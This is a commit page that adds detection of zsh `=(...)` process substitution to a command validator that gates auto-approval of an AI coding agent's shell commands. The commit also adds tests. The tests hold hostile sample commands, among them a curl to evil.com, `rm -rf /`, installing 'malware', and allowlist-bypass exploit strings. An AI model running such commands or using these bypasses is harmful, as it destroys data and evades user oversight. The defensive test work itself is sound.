Skip to content

Commit a12aebb

Browse files
mrubensmtone
authored andcommitted
Handle zsh process substitution correctly (RooCodeInc#7658)
1 parent c796093 commit a12aebb

File tree

2 files changed

+61
-1
lines changed

2 files changed

+61
-1
lines changed

webview-ui/src/utils/__tests__/command-validation.spec.ts

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -272,6 +272,26 @@ ls -la || echo "Failed"`
272272
expect(containsDangerousSubstitution("sort <<< `pwd`")).toBe(true)
273273
})
274274

275+
it("detects zsh process substitution =() pattern", () => {
276+
expect(containsDangerousSubstitution("ls =(open -a Calculator)")).toBe(true)
277+
278+
// Various forms of zsh process substitution
279+
expect(containsDangerousSubstitution("cat =(echo test)")).toBe(true)
280+
expect(containsDangerousSubstitution("diff =(ls) =(pwd)")).toBe(true)
281+
expect(containsDangerousSubstitution("vim =(curl http://evil.com/script)")).toBe(true)
282+
expect(containsDangerousSubstitution("=(whoami)")).toBe(true)
283+
284+
// Process substitution in middle of command
285+
expect(containsDangerousSubstitution("echo test =(date) test")).toBe(true)
286+
287+
// Multiple process substitutions
288+
expect(containsDangerousSubstitution("compare =(cmd1) =(cmd2) =(cmd3)")).toBe(true)
289+
290+
// Process substitution with complex commands
291+
expect(containsDangerousSubstitution("cat =(rm -rf /)")).toBe(true)
292+
expect(containsDangerousSubstitution("ls =(sudo apt install malware)")).toBe(true)
293+
})
294+
275295
it("does NOT flag safe parameter expansions", () => {
276296
// Regular parameter expansions without dangerous operators
277297
expect(containsDangerousSubstitution("echo ${var}")).toBe(false)
@@ -294,6 +314,16 @@ ls -la || echo "Failed"`
294314
expect(containsDangerousSubstitution("cat <<<plain_text")).toBe(false)
295315
expect(containsDangerousSubstitution('read <<<"static string"')).toBe(false)
296316
expect(containsDangerousSubstitution("grep <<<$var")).toBe(false) // Plain variable, not command substitution
317+
318+
// Safe uses of = without process substitution
319+
expect(containsDangerousSubstitution("var=value")).toBe(false)
320+
expect(containsDangerousSubstitution("test = test")).toBe(false)
321+
expect(containsDangerousSubstitution("if [ $a = $b ]; then")).toBe(false)
322+
expect(containsDangerousSubstitution("echo test=value")).toBe(false)
323+
324+
// Safe comparison operators
325+
expect(containsDangerousSubstitution("if [ $a == $b ]; then")).toBe(false)
326+
expect(containsDangerousSubstitution("test $x != $y")).toBe(false)
297327
})
298328

299329
it("handles complex combinations of dangerous patterns", () => {
@@ -303,6 +333,9 @@ ls -la || echo "Failed"`
303333
expect(containsDangerousSubstitution('echo "${outer=${inner@P}}"')).toBe(true)
304334
// Mixed with safe patterns
305335
expect(containsDangerousSubstitution("echo ${safe:-default} ${dangerous@P}")).toBe(true)
336+
// Zsh process substitution combined with other patterns
337+
expect(containsDangerousSubstitution("cat =(whoami) && echo ${var@P}")).toBe(true)
338+
expect(containsDangerousSubstitution("ls =(date) <<<$(pwd)")).toBe(true)
306339
})
307340

308341
it("detects the exact exploit from the security report", () => {
@@ -313,6 +346,9 @@ ls -la || echo "Failed"`
313346
// Variations of the exploit
314347
expect(containsDangerousSubstitution('echo "${x=\\140id\\140}${x@P}"')).toBe(true)
315348
expect(containsDangerousSubstitution('result="${cmd=\\x60pwd\\x60}${cmd@P}"')).toBe(true)
349+
350+
// The new zsh process substitution exploit
351+
expect(containsDangerousSubstitution("ls =(open -a Calculator)")).toBe(true)
316352
})
317353
})
318354
})
@@ -914,6 +950,21 @@ describe("Unified Command Decision Functions", () => {
914950
// But if it were a denied command, it would still be denied
915951
expect(getCommandDecision(`npm test ${exploit}`, allowedCommands, deniedCommands)).toBe("auto_deny")
916952
})
953+
954+
it("prevents auto-approval for zsh process substitution exploits", () => {
955+
// The new zsh process substitution exploit
956+
const zshExploit = "ls =(open -a Calculator)"
957+
// Even though 'ls' might be allowed, the dangerous pattern prevents auto-approval
958+
expect(getCommandDecision(zshExploit, ["ls", "echo"], [])).toBe("ask_user")
959+
960+
// Various forms should all be blocked
961+
expect(getCommandDecision("cat =(whoami)", ["cat"], [])).toBe("ask_user")
962+
expect(getCommandDecision("diff =(cmd1) =(cmd2)", ["diff"], [])).toBe("ask_user")
963+
expect(getCommandDecision("echo test =(date)", ["echo"], [])).toBe("ask_user")
964+
965+
// Combined with denied commands
966+
expect(getCommandDecision("rm =(echo test)", ["echo"], ["rm"])).toBe("auto_deny")
967+
})
917968
})
918969

919970
it("returns auto_deny for commands with any sub-command auto-denied", () => {

webview-ui/src/utils/command-validation.ts

Lines changed: 10 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -71,6 +71,7 @@ type ShellToken = string | { op: string } | { command: string }
7171
* - ${var=value} with escape sequences - Can embed commands via \140 (backtick), \x60, or \u0060
7272
* - ${!var} - Indirect variable references
7373
* - <<<$(...) or <<<`...` - Here-strings with command substitution
74+
* - =(...) - Zsh process substitution that executes commands
7475
*
7576
* @param source - The command string to analyze
7677
* @returns true if dangerous substitution patterns are detected, false otherwise
@@ -100,9 +101,17 @@ export function containsDangerousSubstitution(source: string): boolean {
100101
// <<<$(...) or <<<`...` can execute commands
101102
const hereStringWithSubstitution = /<<<\s*(\$\(|`)/.test(source)
102103

104+
// Check for zsh process substitution =(...) which executes commands
105+
// =(...) creates a temporary file containing the output of the command, but executes it
106+
const zshProcessSubstitution = /=\([^)]+\)/.test(source)
107+
103108
// Return true if any dangerous pattern is detected
104109
return (
105-
dangerousParameterExpansion || parameterAssignmentWithEscapes || indirectExpansion || hereStringWithSubstitution
110+
dangerousParameterExpansion ||
111+
parameterAssignmentWithEscapes ||
112+
indirectExpansion ||
113+
hereStringWithSubstitution ||
114+
zshProcessSubstitution
106115
)
107116
}
108117

0 commit comments

Comments
 (0)